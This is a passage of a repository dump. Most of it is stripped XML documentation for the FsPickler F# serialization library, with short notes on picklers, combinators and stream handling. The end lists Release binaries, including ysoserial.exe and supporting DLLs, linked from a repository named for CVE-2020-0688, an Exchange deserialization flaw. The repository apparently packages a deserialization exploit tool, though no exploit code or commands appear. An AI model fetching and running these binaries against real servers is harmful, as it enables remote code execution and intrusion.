2342 | last 3 items in stack: Pickler<'T> ; VisitState ; 'T
2343 |
2344 |
2345 |
2346 |
2347 | emit IL that clones an object
2348 | last 3 items in stack: Pickler<'T> ; CloneState ; 'T
2349 |
2350 |
2351 |
2352 |
2353 | emit IL that deserializes an object
2354 | last 3 items in stack: Pickler<'T> ; ReadState ; string
2355 |
2356 |
2357 |
2358 |
2359 | emit IL that serializes last object in stack
2360 | last 4 items in stack: Pickler<'T>; WriteState ; string ; 'T
2361 |
2362 |
2363 |
2364 |
2365 | emits typed pickler from array of untyped picklers
2366 |
2367 |
2368 |
2369 |
2370 | Constructs a blank, uninitialized pickler object
2371 |
2372 |
2373 |
2374 |
2375 | Constructs a pickler for a given shape
2376 |
2377 |
2378 |
2379 |
2380 | Implements a pickler factory type visitor
2381 |
2382 |
2383 |
2384 |
2385 | recursively generates picklers required for given type,
2386 | storing results in global cache when completed.
2387 |
2388 |
2389 |
2390 |
2391 | reflection - based pickler resolution
2392 |
2393 |
2394 |
2395 |
2396 | copy stream contents to preallocated array
2397 |
2398 |
2399 |
2400 |
2401 | block copy primitive array to stream
2402 |
2403 |
2404 |
2405 |
2406 | deserializes a sequence of untyped objects from stream
2407 |
2408 |
2409 |
2410 |
2411 | serializes a sequence of untyped objects to stream
2412 |
2413 |
2414 |
2415 |
2416 | deserializes a sequence of objects from stream
2417 |
2418 |
2419 |
2420 |
2421 | serializes a sequence of objects to stream
2422 |
2423 |
2424 |
2425 |
2426 | Initializes a ReadState instance and read untyped value from stream
2427 |
2428 |
2429 |
2430 |
2431 | Initializes a WriteState instance and write untyped value to stream
2432 |
2433 |
2434 |
2435 |
2436 | Initializes a ReadState instance and read value from stream
2437 |
2438 |
2439 |
2440 |
2441 | Initializes a WriteState instance and write value to stream
2442 |
2443 |
2444 |
2445 |
2446 | Initializes an IPickleFormatReader instance using a targeted System.IO.TextReader and parameters
2447 |
2448 |
2449 |
2450 |
2451 | Initializes an IPickleFormatWriter instance using a targeted System.IO.TextWriter and parameters
2452 |
2453 |
2454 |
2455 |
2456 | Initializes an IPickleFormatReader instance using a targeted System.IO.Stream and parameters
2457 |
2458 |
2459 |
2460 |
2461 | Initializes an IPicklerFormatWriter instance using a targeted System.IO.Stream and parameters
2462 |
2463 |
2464 |
2465 |
2466 | Useful for union cases without arguments.
2467 |
2468 |
2469 |
2470 |
2471 | See `sum`.
2472 |
2473 |
2474 |
2475 |
2476 | Starts defining a pickler for an n-ary sum type, such as
2477 | a union type. For example:
2478 |
2479 | type UnionT =
2480 | | Case1
2481 | | Case2 of int
2482 | | Case3 of string * int
2483 |
2484 | let unionTPickler =
2485 | Pickler.sum (fun x k1 k2 k3 ->
2486 | match x with
2487 | | Case1 -> k1 ()
2488 | | Case2 x -> k2 x
2489 | | Case3 (x, y) -> k3 (x, y))
2490 | ^+ Pickler.variant Case1
2491 | ^+ Pickler.case Case2 Pickler.int
2492 | ^. Pickler.case Case3 (Pickler.pair Pickler.string Pickler.int)
2493 |
2494 | Note that the implementation is not currently efficient,
2495 | though it may improve in the future.
2496 |
2497 |
2498 |
2499 |
2500 | See `product`.
2501 |
2502 |
2503 |
2504 |
2505 | Starts defining a pickler for an n-ary product, such as
2506 | record. Example:
2507 |
2508 | type Person =
2509 | {
2510 | Address : string
2511 | Age : int
2512 | Name : string
2513 | }
2514 |
2515 | let makePerson name age address =
2516 | {
2517 | Address = address
2518 | Age = age
2519 | Name = name
2520 | }
2521 |
2522 | let personPickler =
2523 | Pickler.product makePerson
2524 | ^+ Pickler.field (fun p -> p.Name) Pickler.string
2525 | ^+ Pickler.field (fun p -> p.Age) Pickler.int
2526 | ^. Pickler.field (fun p -> p.Address) Pickler.string
2527 |
2528 | The implementation is not currently efficient, though it
2529 | may improve in the future.
2530 |
2531 |
2532 |
2533 |
2534 | pickler fixpoint combinator
2535 |
2536 |
2537 |
2538 |
2539 | pickler fixpoint combinator
2540 |
2541 |
2542 |
2543 |
2544 | pickler fixpoint combinator
2545 |
2546 |
2547 |
2548 |
2549 | F# function combinator
2550 |
2551 |
2552 |
2553 |
2554 | Pickler combinator based on SerializationInfo
2555 |
2556 |
2557 |
2558 |
2559 | alt combinator: choose from list of pickler combinators using tag reader
2560 |
2561 |
2562 |
2563 |
2564 | wrap combinator: defines picklers up to isomorphism
2565 |
2566 |
2567 |
2568 |
2569 | sequence pickler combinator ; uses eager evaluation
2570 |
2571 |
2572 |
2573 |
2574 | array4D pickler combinator
2575 |
2576 |
2577 |
2578 |
2579 | array3D pickler combinator
2580 |
2581 |
2582 |
2583 |
2584 | array2D pickler combinator
2585 |
2586 |
2587 |
2588 |
2589 | array pickler combinator
2590 |
2591 |
2592 |
2593 |
2594 | FSharp set pickler combinator
2595 |
2596 |
2597 |
2598 |
2599 | FSharp map pickler combinator
2600 |
2601 |
2602 |
2603 |
2604 | FSharp list pickler combinator
2605 |
2606 |
2607 |
2608 |
2609 | FSharp ref pickler combinator
2610 |
2611 |
2612 |
2613 |
2614 | Choice<_,_,_,_> pickler combinator
2615 |
2616 |
2617 |
2618 |
2619 | Choice<_,_,_> pickler combinator
2620 |
2621 |
2622 |
2623 |
2624 | Choice<_,_> pickler combinator
2625 |
2626 |
2627 |
2628 |
2629 | nullable pickler combinator
2630 |
2631 |
2632 |
2633 |
2634 | option pickler combinator
2635 |
2636 |
2637 |
2638 |
2639 | quad pickler combinator
2640 |
2641 |
2642 |
2643 |
2644 | triple pickler combinator
2645 |
2646 |
2647 |
2648 |
2649 | pair pickler combinator
2650 |
2651 |
2652 |
2653 |
2654 | auto generate a pickler
2655 |
2656 |
2657 |
2658 |
2659 | the default System.Object pickler
2660 |
2661 |
2662 |
2663 |
2664 | Adds a case.
2665 |
2666 |
2667 |
2668 |
2669 | Adds the last case.
2670 |
2671 |
2672 |
2673 |
2674 | Internal type for type-checking intermediate values.
2675 |
2676 |
2677 |
2678 |
2679 | Adds a case.
2680 |
2681 |
2682 |
2683 |
2684 | Adds the last case.
2685 |
2686 |
2687 |
2688 |
2689 | Internal type for type-checking intermediate values.
2690 |
2691 |
2692 |
2693 |
2694 | Internal type for type-checking intermediate values.
2695 |
2696 |
2697 |
2698 |
2699 | Experimental support for n-way sum types such as unions.
2700 | See `sum`.
2701 |
2702 |
2703 |
2704 |
2705 | Defines an extra field.
2706 |
2707 |
2708 |
2709 |
2710 | Defines the last field.
2711 |
2712 |
2713 |
2714 |
2715 | Internal type for type-checking intermediate values.
2716 |
2717 |
2718 |
2719 |
2720 | Internal type for type-checking intermediate values.
2721 |
2722 |
2723 |
2724 |
2725 | Experimental support for n-way product types such as records.
2726 | See `product` and `field` combinators.
2727 |
2728 |
2729 |
2730 |
2731 | Pickler combinator definitions
2732 |
2733 |
2734 |
2735 |
2736 | Unpickles a values from XML.
2737 |
2738 | utilized pickler.
2739 | input pickle.
2740 |
2741 |
2742 |
2743 | Pickles a value to XML.
2744 |
2745 | utilized pickler.
2746 | input value.
2747 |
2748 |
2749 |
2750 | Xml pickling methods
2751 |
2752 |
2753 |
2754 |
2755 | Unpickles a values from binary.
2756 |
2757 | utilized pickler.
2758 | input pickle.
2759 |
2760 |
2761 |
2762 | Pickles a value to binary.
2763 |
2764 | utilized pickler.
2765 | input value.
2766 |
2767 |
2768 |
2769 | Binary pickling methods
2770 |
2771 |
2772 |
2773 |
2774 | Byte array pickle
2775 |
2776 |
2777 |
2778 |
2779 | Wraps a byte array into a type annotated pickle.
2780 |
2781 |
2782 |
2783 |
2784 | Pickled object with type annotation
2785 |
2786 |
2787 |
2788 |
2789 | Parses hash identifier to receive a hash record
2790 |
2791 |
2792 |
2793 |
2794 | Returns a unique, case-sensitive hash identifier
2795 |
2796 |
2797 |
2798 |
2799 | Try getting value of provided name from SerializationInfo instance.
2800 | Returns 'None' if not found.
2801 |
2802 | Name for value.
2803 |
2804 |
2805 |
2806 | Try getting value of provided type and name from SerializationInfo instance.
2807 | Returns 'None' if not found.
2808 |
2809 | Name for value.
2810 |
2811 |
2812 |
2813 | Gets value of given type and provided name from SerializationInfo instance.
2814 |
2815 | Name for value.
2816 |
2817 |
2818 |
2819 | Adds value of given type to SerializationInfo instance.
2820 |
2821 | Name for value.
2822 | Input value.
2823 |
2824 |
2825 |
2826 | A pickler that always serializes instances as zero(null).
2827 | Useful for forcing serialization of non-serializable fields.
2828 |
2829 |
2830 |
2831 |
2832 | Initializes a pickler instance using a pair of SerializationInfo lambdas.
2833 |
2834 | SerializationInfo deserializer.
2835 | SerializationInfo serializer.
2836 | Use with all subtypes of given type. Defaults to false.
2837 |
2838 |
2839 | Initializes a pickler out of a pair of read/write lambdas. Unsafe pickler generation method.
2840 | Deserialization logic for the pickler.
2841 | Serialization logic for the pickler.
2842 | In-memory cloning logic for the pickler. Defaults to no cloning implementation.
2843 | Visitor accepting function for the descendand nodes of the graph. Defaults to no visitor implementation.
2844 | Specifies whether objects serialized by this pickler should be cached by reference.
2845 | Specifies whether pickler should also apply for all subtypes.
2846 |
2847 |
2848 |
2849 | Deserializes a type annotated pickle.
2850 |
2851 | Type annotated pickle.
2852 | streaming context.
2853 | encoding passed to the binary reader.
2854 |
2855 |
2856 |
2857 | Creates a type annotated pickle for given value.
2858 |
2859 | Value to be pickled.
2860 | streaming context.
2861 | encoding passed to the binary writer.
2862 |
2863 |
2864 |
2865 | F# Extension methods for FsPickler
2866 |
2867 |
2868 |
2869 |
2870 |
--------------------------------------------------------------------------------
/Release/Microsoft.PowerShell.Editor.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/youncyb/CVE-2020-0688/34f854f155bcbe69af978a480ee18af2e96f42df/Release/Microsoft.PowerShell.Editor.dll
--------------------------------------------------------------------------------
/Release/NDesk.Options.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/youncyb/CVE-2020-0688/34f854f155bcbe69af978a480ee18af2e96f42df/Release/NDesk.Options.dll
--------------------------------------------------------------------------------
/Release/Newtonsoft.Json.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/youncyb/CVE-2020-0688/34f854f155bcbe69af978a480ee18af2e96f42df/Release/Newtonsoft.Json.dll
--------------------------------------------------------------------------------
/Release/System.Management.Automation.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/youncyb/CVE-2020-0688/34f854f155bcbe69af978a480ee18af2e96f42df/Release/System.Management.Automation.dll
--------------------------------------------------------------------------------
/Release/YamlDotNet.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/youncyb/CVE-2020-0688/34f854f155bcbe69af978a480ee18af2e96f42df/Release/YamlDotNet.dll
--------------------------------------------------------------------------------
/Release/fastjson.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/youncyb/CVE-2020-0688/34f854f155bcbe69af978a480ee18af2e96f42df/Release/fastjson.dll
--------------------------------------------------------------------------------
/Release/microsoft.identitymodel.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/youncyb/CVE-2020-0688/34f854f155bcbe69af978a480ee18af2e96f42df/Release/microsoft.identitymodel.dll
--------------------------------------------------------------------------------
/Release/ysoserial.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/youncyb/CVE-2020-0688/34f854f155bcbe69af978a480ee18af2e96f42df/Release/ysoserial.exe
--------------------------------------------------------------------------------
/Release/ysoserial.exe.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
--------------------------------------------------------------------------------
/Release/ysoserial.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/youncyb/CVE-2020-0688/34f854f155bcbe69af978a480ee18af2e96f42df/Release/ysoserial.pdb
--------------------------------------------------------------------------------